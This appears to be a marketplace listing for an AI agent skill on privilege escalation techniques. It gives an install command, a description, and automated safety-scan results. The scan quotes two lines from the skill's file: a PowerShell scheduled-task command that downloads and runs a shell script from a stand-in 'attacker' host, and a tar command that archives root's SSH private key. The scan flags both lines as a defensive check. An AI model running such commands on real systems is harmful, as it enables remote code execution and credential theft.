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Privilege Escalation Methods

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sebas-aikon-intelligence·vlatest·security·MIT

This skill details various privilege escalation techniques, crucial for security researchers and penetration testers to identify vulnerabilities & improve system defenses.

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Installs under a different name. Its SKILL.md names it Privilege Escalation Methods, not the name it is listed under, so the command below uses that name.
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    Run this in your project

    terminal
    $ npx skills add sebas-aikon-intelligence/antigravity-awesome-skills --skill "Privilege Escalation Methods" -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

sebas-aikon-intelligence

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Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 2 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No obfuscated payloads: failed

    Contains 1 obfuscated or encoded payload pattern.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

    What it found

    • skills/privilege-escalation-methods/SKILL.md:211downloaded string passed to Invoke-Expression
      /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"

  • No credential access: failed

    Touches credential material in 1 place.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found

    • skills/privilege-escalation-methods/SKILL.md:83SSH private keys or config
      /usr/bin/tar -cvf key.tar /root/.ssh/id_rsa

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No undeclared network calls: passed

    Makes no network calls.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

  • No pipe-to-shell installers: passed

    No pipe-to-shell or download-and-run installers.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

  • Pinned to a commit: passed

    Scanned sebas-aikon-intelligence/antigravity-awesome-skills at 0f4a1b2fd7.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
0f4a1b2fd7
Manifest
skills/privilege-escalation-methods/SKILL.md
Scanned
1 file, 294 lines
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About this skill

What it does

This skill provides information on privilege escalation methods. It allows users to understand techniques used to gain higher-level access or permissions within a system, often bypassing standard security measures. The skill can detail various approaches and their underlying principles for educational or analytical purposes.

When to use it

  • Security Research: Analyze potential vulnerabilities and attack vectors by understanding common privilege escalation methods.
  • Penetration Testing (Ethical Hacking): Learn about techniques used in security assessments, though usage should always be within legal and ethical boundaries.
  • System Administration Training: Gain a deeper understanding of system security and how to prevent unauthorized access.
  • Cybersecurity Education: Study the principles behind privilege escalation for educational purposes.

Key capabilities

  • Detailed explanations of various privilege escalation techniques.
  • Understanding of underlying principles.
  • Educational resource for cybersecurity professionals and students.

Example prompts

  • "Explain how a kernel exploit can be used to escalate privileges."
  • "Describe the common methods for privilege escalation in Windows environments."
  • "What are some examples of misconfigured sudo rules that could lead to privilege escalation?"

Tips & gotchas

This skill is intended for educational and analytical purposes only. Do not attempt to use this information for illegal or unethical activities; always operate within legal boundaries and with proper authorization.